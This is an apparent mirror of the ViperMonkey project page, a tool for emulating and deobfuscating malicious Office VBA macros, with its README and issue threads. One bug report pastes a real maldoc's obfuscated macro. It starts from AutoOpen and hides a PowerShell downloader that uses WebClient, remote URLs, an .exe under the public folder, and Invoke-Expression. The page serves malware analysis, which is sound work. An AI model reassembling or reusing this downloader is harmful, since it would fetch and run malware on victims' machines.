Giter VIP home page Giter VIP logo

vipermonkey's Introduction

ViperMonkey

ViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files (Word, Excel, PowerPoint, Publisher, etc).

See the article "Using VBA Emulation to Analyze Obfuscated Macros", for real-life examples of malware deobfucation with ViperMonkey.

ViperMonkey was also demonstrated at the Black Hat Europe 2019 conference: see the slides and video (at 18:38).

ViperMonkey was created by Philippe Lagadec in 2015-2016, and the project is maintained in the repository https://github.com/decalage2/ViperMonkey. Since November 2017, most of the development is done by Kirk Sayre and other contributors in the repository https://github.com/kirk-sayre-work/ViperMonkey. The main repository is synchronised regularly, but cutting edge improvements are usually available first in Kirk's version.

Quick links: Report Issues/Suggestions/Questions - Contact the Author - Repository - Updates on Twitter - API Tutorial

DISCLAIMER:

  • ViperMonkey is an experimental VBA Engine targeted at analyzing maldocs. It works on some but not all maldocs.
  • VBA parsing and emulation is extremely slow for now (see the speedup section for how to improve the speed).
  • VBA Emulation is hard and complex, because of all the features of the VBA language, of Microsoft Office applications, and all the DLLs and ActiveX objects that can be called from VBA.
  • This open-source project is only developed on my scarce spare time, so do not expect miracles. Any help from you will be very appreciated!

Download and Install:

Easy Install

  1. Install docker.
  2. Run docker/dockermonkey.sh MYFILE to analyze file MYFILE.

dockermonkey.sh wil automatically pull down a preconfigured docker container, update ViperMonkey to the latest version in the container, and then analyze MYFILE by running ViperMonkey in the container. No other packages or configuration will need to be performed.

For information on using dockermonkey.sh run docker/dockermonkey.sh -h.

Installation using PyPy (recommended)

For performance reasons, it is highly recommended to use PyPy (5x faster), but it is also possible to run Vipermonkey with the normal Python interpreter (CPython) if you cannot use PyPy.

  1. If PyPy is not installed on your system, see http://pypy.org/download.html and download PyPy 2.7. (not 3.x)
  2. Check if pip is installed for pypy: run pypy -m pip
  3. If pip is not installed yet, run pypy -m ensurepip on Windows, or sudo -H pypy -m ensurepip on Linux/Mac
  4. Make sure pip is up-to-date, by running pypy -m pip install -U pip
  5. Download the archive from the repository: https://github.com/decalage2/ViperMonkey/archive/master.zip
  6. Extract it in the folder of your choice, and open a shell/cmd window in that folder.
  7. Under Ubuntu install pypy-dev (sudo apt-get install pypy-dev).
  8. Install dependencies by running pypy -m pip install -U -r requirements.txt on Windows, or sudo -H pypy -m pip install -U -r requirements.txt on Linux/Mac
  9. Check that Vipermonkey runs without error: pypy vmonkey.py

Installation using CPython

  1. Make sure you have the latest Python 2.7 installed: https://www.python.org/downloads/
  2. If you have both Python 2 and 3 versions installed, use pip2 instead of pip in the following commands, to install in Python 2 and not 3.
  3. Make sure pip is up-to-date, by running pip install -U pip
  4. Use pip to download and install vipermonkey with all its dependencies, by running the following command on Windows:
pip install -U https://github.com/decalage2/ViperMonkey/archive/master.zip

On Linux/Mac:

sudo -H pip install -U https://github.com/decalage2/ViperMonkey/archive/master.zip
  1. Check that Vipermonkey runs without error: open a shell/cmd window in any directory, an simply run vmonkey

Usage:

To run ViperMonkey in a Docker container with the -s, --jit, and --iocs options do:

docker/dockermonkey.sh <file>

To parse and interpret VBA macros from a document, use the vmonkey script:

vmonkey.py <file>

To make analysis faster (see the Speedup section), do:

pypy vmonkey.py -s <file>

Note: It is recommended to always use the -s option. When given the -s option ViperMonkey modifies some difficult to parse Visual Basic language constructs so that the ViperMonkey parser can correctly parse the input.

If the output is too verbose and too slow, you may reduce the logging level using the -l option:

vmonkey.py -l warning <file>

If the sample being analyzed has long running loops that are causing emulation to be unacceptably slow, use the --jit option to convert VB loops directly to Python in a JIT fashion during emulation.

vmonkey.py --jit <file>

Note: ViperMonkey's Python JIT loop conversion converts VB loops to Python and evals the generated Python code. While the Python conversion process is based on the parsed AST (not directly on the VB text) and VB data values are escaped/converted/modified to become valid in Python, any use of eval in Python potentially introduces a security risk. If this is a concern the dockermonkey.sh script can be used to run ViperMonkey in a sandboxed manner. dockermonkey.sh runs ViperMonkey in a fresh Docker container on each run (no file system modifications persist between runs) and networking is turned off in the Docker container.

Sometimes a malicious VBScript or Office file will generate IOCs during execution that are not used or that ViperMonkey does not see used. These intermediate IOCs are tracked by ViperMonkey during the emulation process and can be reported with the --iocs option.

vmonkey --iocs <file>

Note that one of the intermediate IOCs reported by ViperMonkey is injected shell code bytes. If the sample under analysis performs process injection directly in VB, ViperMonkey will report the injected byte values as an intermediate IOC with the --iocs flag. These byte values can then be written into a raw shell code file which can be further analyzed with a shell code emulator.

oletools Version

ViperMonkey requires the most recent version of oletools, at least v0.52.3. Make sure to either install the most recent oletools version by running pip install -U oletools, or make sure the most recent oletools install directory appears in PYTHONPATH, or install the most recent development version of oletools using pip as described here.

Speedup

pypy

The parsing library used by default in ViperMonkey can take a long time to parse some samples. ViperMonkey can be sped up considerably (~5 times faster) by running ViperMonkey using pypy rather than the regular Python interpreter. To use pypy do the following:

  1. Install pypy following the instructions here.
  2. Install the following Python packages. This can be done by downloading the .tar.gz for each package and running 'sudo pypy setup.py install' (note the use of pypy rather than python) for each package.
    1. setuptools
    2. colorlog
    3. olefile
    4. prettytable
    5. pyparsing

Stripping Useless Statements

The "-s" ViperMonkey command line option tells VipeMonkey to strip out useless statements from the Visual Basic macro code prior to parsing and emulation. For some maldocs this can significantly speed up analysis.

Emulating File Writes

ViperMonkey emulates some file writing behavior. The SHA256 hash of dropped files is reported in the ViperMonkey analysis results and the actual dropped files are saved in the directory MALDOC_artifacts/, where MALDOC is the name of the analyzed maldoc file.

ViperMonkey also searches Office 97 and Office 2007+ files for embedded PE files. These are automatically extracted and reported as dropped files in the MALDOC_artifacts/ directory.

Emulating Specific VBA Functions

By default ViperMonkey emulates maldoc behavior starting from standard macro auto run function (like AutoOpen, Document_Open, Document_Close, etc.). In some cases you may want to emulate the behavior starting from a non-standard auto run function. This is supported via the -i command line option. To emulate maldoc behavior starting from function Foo, use the command line option '-i Foo'. To emulate behavior starting from multiple non-standard entry points, use the command line option '-i "Foo,Bar,Baz"' (note that the entry point function names are comma seperated and must appear in a double quoted string).

API Interface:

ViperMonkey also includes a Python API interface that can be used for finer control emulation of your sample or for integration into an existing project.

Please see the API Tutorial for more information.

News

  • 2018-03-22 v0.06: new features and bug fixes contributed by Kirk Sayre
  • 2018-3:
    • Added support for parsing some technically invalid VBA statements.
    • Additional parsing fixes.
    • Added support for starting emulation at non-standard functions.
  • 2018-2:
    • Added support for Environ, IIf, Base64DecodeString, CLng, Close, Put, Run, InStrRev, LCase, RTrim, LTrim, AscW, AscB, and CurDir functions.
  • 2018-1
    • Added emulation support for saving dropped files.
    • Added support for For Each loops.
    • Added support for While Wend loops.
    • Handle 'Exit Do' instructions.
  • 2018-01-12 v0.05: a lot of new features and bug fixes contributed by Kirk Sayre
  • 2017-12-15:
    • Added support for Select and Do loops.
    • Added support for 'End Sub' and 0 argument return statements.
    • Added support for #if constructs.
    • Each VBA stream is now parsed in a separate thread (up to the # of machine cores).
  • 2017-11-28:
    • Added parsing for private type declarations.
    • Report calls to CreateProcessA in final report.
    • Handle Application.Run() of locally defined methods.
  • 2017-11-23:
    • Added VBA functions Abs, Fix, Hex, String, CByte, Atn, Dir, RGB, Log, Cos, Exp, Sin, Str, and Val.
    • Added support for 'Exit Function' operator.
    • Changed math operators to also work with string representations of integers.
    • Added a configurable iteration limit on loops.
  • 2017-11-14:
    • Added support for InStr, Replace, Sgn, Sqr, UBound, LBound, Trim, StrConv, Split, StrReverse, and Int VB functions.
    • Added support for string character subscripting.
    • Added support for negative integer literals.
    • Added support for if-then-else statements.
    • Added support for Const and initial values for global variable declarations.
    • Handle assignments of boolean expressions to variables.
  • 2017-11-03:
    • Added support for Left(), Right(), Array(), and BuiltInDocumentProperties() functions.
    • Added support for global variables.
    • Fixed some parse errors.
    • Added analysis of AutoClose() functions.
  • 2016-09-26 v0.02: First published version
  • 2015-02-28 v0.01: First development version
  • see changelog in source code for more info.

How to Suggest Improvements, Report Issues or Contribute:

This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.

To suggest improvements, report a bug or any issue, please use the issue reporting page, providing all the information and files to reproduce the problem.

You may also contact the author directly to provide feedback.

The code is available in a GitHub repository. You may use it to submit enhancements using forks and pull requests.

License

This license applies to the ViperMonkey package, apart from the thirdparty folder which contains third-party files published with their own license.

The ViperMonkey package is copyright (c) 2015-2020 Philippe Lagadec (http://www.decalage.info)

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

  • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  • Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

vipermonkey's People

Contributors

cccs-jh avatar connorshride avatar dc3-tsd avatar decalage2 avatar harold-ogden-walmart avatar import-au avatar kirk-sayre-work avatar lastpixl avatar unk0unk0unk0 avatar vxsh4d0w avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

vipermonkey's Issues

Alternate VBA parser working line by line

the parser should be more robust and perhaps quicker, if it parsed each line separately. If parsing a line fails, then it should be recorded as "unsupported statement" and ignored during emulation.

Then a second stage would identify the block structures (subs, loops, etc), instead of implementing them in the pyparsing grammar.

Another advantage is that it would be easier to map parsing errors to actual lines for debugging.

When parsing a latest macros, got 'VBA_Parser' object has no attribute 'extract_form_strings_extended'

Was doing analysis of a macro, got an error about 'VBA_Parser':

-------------------------------------------------------------------------------
PARSING VBA CODE:
INFO     parsed Function FDQmvuwLDc (): 57 statement(s)
INFO     parsed Sub lZFUFoiihGosi ([vwsOuUphvwsw as String]): 6 statement(s)
Module None
  Sub lZFUFoiihGosi ([vwsOuUphvwsw as String]): 6 statement(s)
  Function FDQmvuwLDc (): 57 statement(s)

Traceback (most recent call last):
  File "/opt/ViperMonkey-master/vipermonkey/vmonkey.py", line 296, in process_file
    for (subfilename, stream_path, form_variables) in vba.extract_form_strings_extended():
AttributeError: 'VBA_Parser' object has no attribute 'extract_form_strings_extended'

Sample is https://www.hybrid-analysis.com/sample/30d802076d4397cafc65cd13c880995ab6ec8e1aa9a61a79c70408460c603a0d?environmentId=120

The whole input and extracted macroses:

root@vagrant-ubuntu-trusty-64:/opt# /opt/ViperMonkey-master/vipermonkey/vmonkey.py invoice.doc
vmonkey 0.05 - https://github.com/decalage2/ViperMonkey
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/ViperMonkey/issues

===============================================================================
FILE: invoice.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: invoice.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO LqqtcnpXN.bas
in file: invoice.doc - OLE stream: u'Macros/VBA/LqqtcnpXN'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-------------------------------------------------------------------------------
VBA CODE (with long lines collapsed):
Sub AutoOpen()
On Error Resume Next
IItjHHWqQ = (738497 * qXdJEWFzDDWJic * 160010 - kNMWT) + QCBHpEWXLIYZH + Sqr(VMzhjwlH) * (wLDGzldDhiv / 1363119)
bIwhAdfrO = (7181537 * UaoXN * 6070649 - UJJQCwlwZmi) + ruM + Sqr(uEDzjVF) * (XNBifI / 2626298)
PYuKlzKFA = (9114547 * DtJ * 1909904 - OHHtTKfDwEtsp) + DSQYSfzkbVkzC + Sqr(jRLF) * (TnaXPu / 1017319)
Application.Run "lZFUFoiihGosi", GRiZjhOm
sqLjDRQGs = (6881489 * UqiwijmJTIbX * 6371461 - oiVHcvBiNnGYv) + SiwMwi + Sqr(PjWIukFazRTi) * (PmuzPolqcrqG / 7095990)
VqlMOaCCY = (8988170 * wiKvDQVnuHBfnw * 9417706 - szms) + CJOPplCsbl + Sqr(svAhdqnMVDLdU) * (zPRSJ / 414912)
End Sub
Function GRiZjhOm()
On Error Resume Next
wqMWP = (3996302 * EoZFtMqLuiqB * 3003313 - sLdBVAfc) + bHTchaLu + Sqr(MYpawH) * (uoXKXIQt / 7404847)
NJcVEUccmAL = (5321547 * rHpUHcPz * 9599852 - jIljncor) + SMViaLHRBSr + Sqr(qGCUnYrQM) * (BJwKf / 7398333)
kYmkLGECQP = (5339295 * jbCCJLVcOIA * 2119418 - iFztCj) + zEwaWG + Sqr(MiQjV) * (RmQXnwqwLJjQ / 377716)
jaNsCf = tPXNQHij + Mid(GwRJ + "DiiwZvLzPEnhViLqdNgKjV(),'+' ScQ+ScQXvc+Xvc2PqSDC);&(vxp0WB+0WBInScQ+ScQ0WB+0WBvov'+'xp+vxpkvxXvc+Xvc0WB+Xvc+Xvc0WBp'+'+vx0WB+0WBpe-IXvc+XvcteXvc+X'+'vcmvx0WB+0Xvc+XvcWBp)(2PqS'+'D0WB+0WBC);brjmoGhnF" + UjUIK, 14, 179)
XUoPICJAzWi = (1812185 * zCScjLmwIuq * 8084794 - LGljAf) + UKYKzv + Sqr(QQKtMzIwZM) * (QjDfwLCZXjHYo / 1685490)
TPDNzbh = (1531422 * QpiHfkiVfzAiq * 1720145 - jYnkzK) + MMIXXzJsWkED + Sqr(JvFNfBhzAKYjO) * (aAAYIkb / 5526381)
AWISLNXoh = (3368890 * INjMnbQZmRElTa * 999158 - dqLCknJcisVMwT) + jdGFSU + Sqr(MZuwwzR) * (jaTJGkROOUDE / 5896870)
OYQfji = XDwQdDNkbibfCA + Mid(tzciV + "SNwhjZzkzkpa/?h0WB+0WBttpsXScQ+ScQvc+Xvc://www.bl0WB+0WB'+'u0WB+0WBe0WB+0WByac0WB+0WBhtcXvc+X'+'vcha'+'r0WB+0WBte0'+'WB+0WBr.com/DXScQ+ScQvc+XvcIjVX0WB+0WB4U/0WB+0WB'+'v0WBScQ+ScQ+0WBxp0WB+'+'Xvc+Xvc0WB.0XvNPNkpqs" + rpbGFsPouNKUJn, 9, 198)
bdVUwwS = (3198342 * pUcvtiS * 1091214 - jzGfGccrtm) + LLrHVIsWkYO + Sqr(NSSROQR) * (soMGO / 4676338)
iVGmQdzmFU = (6947939 * OIWV * 679608 - IidVZkqwVH) + itMnLOb + Sqr(cqWwkszYj) * (cCsP / 6250099)
iHLobN = (2002652 * ntqhTwTFokiX * 4006564 - uut) + pljtdcMGp + Sqr(FZONCzYUlvIuD) * (wISBOEhHzoqYH / 8873691)
YIuERWh = GEdTBXHNVmdJdm + Mid(mrLK + "XvIr]113+[NMMYdRvzSQaNQCNJpGU" + LutmMfPOrkOPp, 4, 7)
QVGLWaVDM = (4931494 * dsdFXavn * 5612112 - jmBftYIzBWvqT) + vEJVVOCpwurcBU + Sqr(XWHFuQiHfwM) * (wYD / 5238001)
ATkArFD = (7444198 * jJTQaSOq * 8427625 - GnQXoOdznlZj) + wiXJM + Sqr(QsT) * (EUKR / 1365739)
AwNUls = (9306369 * qDYsBrhpNkvE * 7549426 - zAz) + lDICnbzm + Sqr(MCizWCwuVI) * (vnpUwTU / 7812494)
pzwmTSnCD = NUMGazPVR + Mid(VfZIzSv + "wkzwLwOCCDMafnhdnKkzJCDAioQmjzPQhtt0WB+0WBp://0WB+0WBs0WXvc+XvcB+Xvc+Xvc0WBoftedg'+'e0WScQ+ScQB+0WBbScQ+ScQd.com/0WScQ+ScQB+0WB687yc/?0WB+0WBht0WB+0WBtp0WB+0WB://0Sc'+'Q+ScQWB+0WBdulfacoll0WB+0WBScQ+'+'ScQtda.com/rL7jYuDDVV" + nzUJLrlLza, 32, 185)
jzPajkdm = (1340531 * RCBJSGELYji * 4024419 - PjvnszbckT) + frjzpmIi + Sqr(DRkXrV) * (ZjEuUsGomLVOjf / 1269297)
GcEzHDOnwC = (6412524 * iibWHVmYAG * 5862895 - vYvWwBvjZCnkvK) + RuziwkCsNu + Sqr(SLRWUlcrr) * (ZsidLBIcqqb / 9374416)
EiOSdY = (8230971 * dCYhNtf * 6620042 - VjkODhBID) + ssCOElj + Sqr(QWEAVUzsRMudz) * (qQMu / 5218482)
YiGJDdHkO = EFUNuVtjoQw + Mid(OIUmjmYBoGdsc + "zLVLdXlqoGKvaNtlqBcCdtsEdpviKXRepL'+'aCE(Xvc7NZkYm" + wNoETGIGi, 31, 16)
htzPIql = (7224790 * JKw * 7872363 - hXcsVUQ) + swzwrfurh + Sqr(VtiAT) * (INbpmKliKtizsV / 8853445)
CNqDZOW = (9226971 * nvPaWtWrKczav * 8382267 - DijItbriNR) + zAvwLRZzqEEY + Sqr(TFwcimHPCww) * (llCTwN / 360105)
avcJqbEJLsV = (1648109 * vVwLQhAwAbw * 1147380 - oocOAaJYvBwkaf) + furCPCYj + Sqr(QRE) * (SBWz / 1682149)
jaruKt = EuphYdwcboUv + Mid(zPLWVNPQL + "bElikvfsZKibbCJYMjoScQ+ScQqdO0WB+0WBadFILqdleKjXvc+XvcV(20WBScQ+ScQ+0WBPq0WB+0WBasfc.0WB+'+'0WBKjV0WB+0WXvc+XvcScQ+S'+'cjiUL" + oNZVlB, 20, 101)
IsHHvGj = (2582450 * bQsYPFpbC * 5988424 - vmB) + qhIQjiE + Sqr(DFovzBUSbsGUZD) * (qUIGUWDwtAJzB / 392744)
sYqWDzjzP = (4597903 * zXUoSaJpa * 6580787 - aCfjs) + oRwaXkZAHuuq + Sqr(SQD) * (GwFOaP / 2142684)
NlRzd = (3558558 * mKcvNTQKMk * 5358157 - cnu) + LfOzVPwXoZkn + Sqr(OCkIqwPX) * (hbatG / 6172234)
RsPmX = zNqhNawJATzb + Mid(CcQGkwqwQFaw + "GIzvqDaiSSioN((Xvc NfVGC" + WCFufBboiKo, 10, 10)
JCzzBYH = (9080079 * vabzzSoof * 5285015 - SDt) + zHIwkQsUjKOlJ + Sqr(jNzKitIBozPCG) * (Ndww / 1050856)
kuLqpw = (9086843 * TzSKNCGvn * 7131299 - fuwNEHZzjv) + LjiKmGD + Sqr(SfNTP) * (fAQqCF / 157926)
IHSjJa = (2430461 * XLJzYqXFMf * 71729 - ibDQzsbSBRbh) + ZHIJjpSwBLwdGi + Sqr(uaBnOZwY) * (ZDNZtf / 1078907)
uGbHFpPu = LiJLaOjwTKW + Mid(FHojdm + "APTJXpsWGFJsnDKItGitbn+vx0WB+0WBpe'+'vxp+Xvc+Xvcvx'+'pw'+'-'+'o0WB+0WBbjec0WB+0WBvxp+vx0WB+0WScQ+ScQBptvxp) rXvc+Xvcandom0WB+0WB;2PqYY0WB+0WBU 0W'+'B+0WB= .0WB+0WB(v0WB+0WBxpnevxp+vxpwvxp+vxp-o0WB+0WBb0WB+0WBjectv0osm" + hqulpiQAwnYbIQ, 23, 192)
HSHlVSaZnw = (6916314 * ctEVFNBGf * 7585056 - iWzhjOHImL) + TVE + Sqr(wIZVwULCNolL) * (rmlhS / 8498435)
JbKbdw = (9446210 * qlrOblzScZjRP * 3261743 - jKoLSUjszDwRA) + SBdHwGXi + Sqr(WiOk) * (OCtuatFXdji / 4853788)
bcjBIwiFqw = (1236344 * tLfTzsJXFKTKV * 9596232 - RcE) + wivJBrGUvYw + Sqr(XAipvrPRr) * (qwjbPYHUL / 784313)
EwSQQRuiJfA = bAziOvfphqhQ + Mid(nsNF + "zDhpFXinYZpilHhjPEiJcLinVoke-ExpReSSIO'+'n')-rEpLAcE  '2lO',[CHAr]124 -rEpLAcE 'ScQ',[CHAr]AMKBPYlvDCGCsOdw" + bPnSadju, 23, 69)
jGLFpzBAn = (6527105 * PstOnaSOqnBjF * 6415497 - NlqmzmazcDzHLn) + QfNSbQNLZMZH + Sqr(MYtXBNNbCPkFou) * (LoSGaD / 4421268)
vLJKPIDmAsZ = (4221817 * mGizZQa * 4599412 - ilDJcGzZL) + PdMmVw + Sqr(ltShspCakufOBl) * (MbKJNCLMIAsI / 1266062)
GNOALF = (8023150 * TNCaijFwl * 9231623 - isL) + LKcZQkb + Sqr(izahJ) * (AjwlKbRLbG / 1700712)
zhVSfzbowBG = pIOzCdbqYO + Mid(IhvKqIHaNnsWnz + "sodwv(0WB20WBScQ+ScQ+0WBPqnsadScQ+ScQ0WB+'+'Xvc+Xvc0WBas0WB+0W'+'Bd = ScQ+ScQ&(vxpnvxp0WB+0WBXvc+XvcScQ+ScQzjkiHYomkmDHSTUVjMIHcQoSOfZwpOqPDa" + ZciMaMsC, 6, 102)
SpjsKqjl = (218551 * iWQ * 1736849 - CwWi) + jTrS + Sqr(PLU) * (QqwCJLOnzIW / 7215500)
NvMldWE = (3039849 * ozJQQjoCwwzS * 5418801 - TOplNBkJ) + THzrPANHVRi + Sqr(Trz) * (luOsAEqjpUjSk / 4689507)
jFTDq = (2809099 * iPp * 1624567 - rZBkqcB) + VzXqqbGWQjOROC + Sqr(RvXwCaZDBqcuU) * (IKcol / 3815252)
DrrVvDiU = iYNMTTAq + Mid(ifjZprBUcEzv + "fsea0WB+0WBk0WB+0WB;}ca'+'tch{'+'}}0WXvc+XvcB).replacE(([Xvc+Xvcchar]50+Xvc+Xvc[char]80+[char]113),[sTring][char]36).replacE(0WBKjV0WB,[sTring][chScQ+ScQar]34).replacE(([char]76+[chalNmPipNzTEpVESLiaspkmCmzXjVcfFsj" + lPEzhk, 3, 180)
oSfoolGVia = (2635596 * mJIZlcciZF * 3749276 - AusLXazXF) + cUqzpOXYqcjP + Sqr(XFGpOcGF) * (VpfEikYvAp / 5264528)
uZBEdk = (9351841 * oionNLBPrw * 6936243 - UGRllvzk) + zBSkknAucqoZqQ + Sqr(BaPuEPdt) * (jJdGKPubMiphV / 653756)
JETXPNYQqIf = (5614533 * BUPGvzdp * 8820195 - KjEfiVHXEaJ) + kMwMMIbqfXlWD + Sqr(OnzjjnMZEOXjz) * (ZzzCOHj / 458777)
mQMHa = McuwHhNfbr + Mid(ofjo + "PbCchar]1'+'00),0WBbyv0Xvc'+'+XvcWB).replacE(0WBQI20WB,0WBwhtXvc+Xvc0WB).replXvc+'+'XvcacScQ+ScQEScQ+ScQ(0WBvxp0WB,[sXvc+XvcTring][char]Xvc+X'+'vc39) t'+'DXvc+XvcvXvc+Xvc. ( 7NwPSHOME[21]+7kCnjqCZPFERotiltfazuKD" + fzXwwVz, 4, 186)
oRLEN = (1558493 * iYjIvL * 2357063 - QtKZJVRTp) + MNF + Sqr(bItaYuct) * (NFnW / 2832175)
WYGWToKwCT = (2198963 * hcurHijv * 4601162 - qNAcwuLIwaOV) + RAXlzUWzDIPW + Sqr(SNSwYzCjEOt) * (QKbNRkLLpc / 8156570)
YXCGRMbtw = (6909890 * mbBqmFkFMbzqA * 313412 - TDNmiG) + JullXELuqX + Sqr(DmWAsRIIZE) * (iXRjtslODFm / 1074679)
SBazRVnwS = inVNDEmu + Mid(cnGUYXuVhK + "oHWB+0WBxpScQ+ScQ) Sys0WB+0WBt0WB+0WBem.Net.We0WB+0WBXvc+XvcbCl0WB'+'+0WScQ+ScQBie0WB+0WBnt;2PqNSB =0WB+0WB 0WB+0WB2Pq0WB+0WBns0WB+0WBa0WB+0WBda0WBXvc+Xvc+0WBsd0WB+0ScQ+SWtXaOlBku" + hpfI, 3, 168)
mqrbzRS = (5013790 * OUoKSJ * 5296272 - cRhEsoQ) + cimzEPUUz + Sqr(aTZkEdsr) * (htVbIJGffhqZ / 4398299)
qYLzkGvcP = (6098403 * sDp * 5426073 - zATLt) + ItsNDMBzjjH + Sqr(ioz) * (omIzDnWrBnP / 6035918)
vLYvHBY = (8413712 * aJiZBMnSdi * 4739810 - wWkALoOP) + hDtfV + Sqr(ALPwVFCG) * (TEmkvVIdadqAHA / 5493933)
BCqGIlqLC = HEBifuRla + Mid(zOuS + "mwbLrnIpocwOlvbNwYUFR & ((vAriABLe '*mdr*').NaMe[3,11,2]-JoIN'') ( ((' (ScQ InVoScQ+ScQKE-e'+'XPreSLiillhchFCkhQ" + vdVhc, 22, 78)
EuPVDbDajlO = (4448451 * KnUFdhNriLGvI * 2842512 - vYJwkUUWamHiU) + WrBStvaOzq + Sqr(CuCvui) * (bdius / 6546721)
ZasIjpdGDVI = (7494118 * qRtSVCtK * 1527150 - EcPSTha) + ihaSbfD + Sqr(DqCczTfUFJUfUL) * (jubqG / 9197311)
jdjoJL = (1644368 * zTYzE * 9661149 - pOOZwCHf) + kzuNKMv + Sqr(XYqXzpzAujFIaU) * (WjTGQvMGb / 2770067)
CwjviEpA = QbVsGptjpmG + Mid(iCUuPm + "FXmoUTmfTRJrciawRFAbiohjfndKdhIQcvx0ScQ+ScQWB+0WBp + 2PScQ+ScQ0WB+0WBqN0WB+0WBS0WB+0WBB + 0WB+0WB(vxp.exvx'JpPL" + GBdUqYZSBi, 32, 76)
MGXlC = (4346463 * hqGiCLSP * 1838615 - kozAjVkAtuPf) + hzXIkZrQp + Sqr(cNJdtXPNrrz) * (cYDpjmrWcJBN / 4744878)
FRSCPuToA = (5957442 * DipSauCWmW * 8383596 - cdhXodtXwEut) + YTK + Sqr(LwFOsMf) * (YZt / 5044553)
VlnFs = (395433 * TovPsv * 7273075 - kfHhzn) + OCbrCbZmckRBUP + Sqr(zzw) * (bEIIaPhwMZG / 2146148)
UrDBKwXNc = FJBuAkYa + Mid(fHAqYQYEW + "mCNjVvNDChBZVXXcQWScQ+ScQB.n0WB+0Xvc+Xvc'+'WBext(1000WB+0WB00, 282133);0WB+0WB20WB+0'+'WBPqADC0WScQ+ScQB+0WBX 0WB+Xvc+Xvc0WB=0WB+0WBXvc+Xvc ScQ+Sc'+'Qvxp 0WB+0WB http0WB'+'+0WB://y0WB+0WBou0WB+0Xvc+XvcWBr0WB+0WBequXiuJiF" + XsP, 16, 199)
lnIBrN = (948623 * hOzwiCpdwW * 3284357 - juz) + AfOFbQGiN + Sqr(qzGWiBszwv) * (PdpPQCFDcjSY / 9762763)
hrqWYbmI = (884113 * AzFQITjCLs * 4437113 - nPHjvCmkB) + pLOAakzX + Sqr(HREBtrim) * (jbdXtaS / 7847130)
uijXYQJkY = (3908533 * WWMUccKuBHswCn * 3911364 - KiNOrN) + REauSR + Sqr(ilQCBBvzbYiw) * (fbhZpCiPja / 1040128)
ujjCIFcZNi = rFKWSizq + Mid(CSfbtQzffJkMM + "pnvdVjhzddUFvFiQBToStr0WB+0WBLqdOaFW" + FuBcUcNMVZEKO, 16, 17)
NXUutvV = (6864748 * WAEPnYwKLwst * 182062 - ZqqTTGUzZD) + JCclZLcXEtB + Sqr(cqoawWDuY) * (fhzpaNd / 4197381)
XhFDGiU = (4315750 * BfdVVYmkP * 4239187 - nXNNcifXdWILqX) + njkOuiXaczNSF + Sqr(kSiCWrJk) * (wjwwtEsTm / 9638069)
DJcYGBfRLM = (5037120 * CzAbOQzlQPL * 5074744 - sDdITfmDHmfwji) + jdaUini + Sqr(ibIbLwL) * (XXzABOLSSoj / 8986454)
JoXsPHY = JHuQChs + Mid(NZHhzmSUM + "KRCCpcalCOEwUQYljujImNoNOUwpmKtc+XvcWB+0WBSplit(v0WB+0WBxp?vx0WB+0WBp);ScQ+ScQ2PqSDC0WB+0WB =0WB+0Xvc+XvcWB 2Pqenv:public +Xvc+Xvc vxpQI2XvScQ+S'+'cQc+XvScQ+ScEslcCfw" + ojuj, 32, 128)
nbrYLC = (9207751 * pkwZufcoq * 3167376 - iHNObw) + MGuIH + Sqr(UjoEDWfqli) * (qIWJcw / 9136559)
kAzlZ = (7531928 * GnA * 7803229 - iovzpjhcQ) + NrXk + Sqr(kYsYzYT) * (zjJwVEajf / 23716)
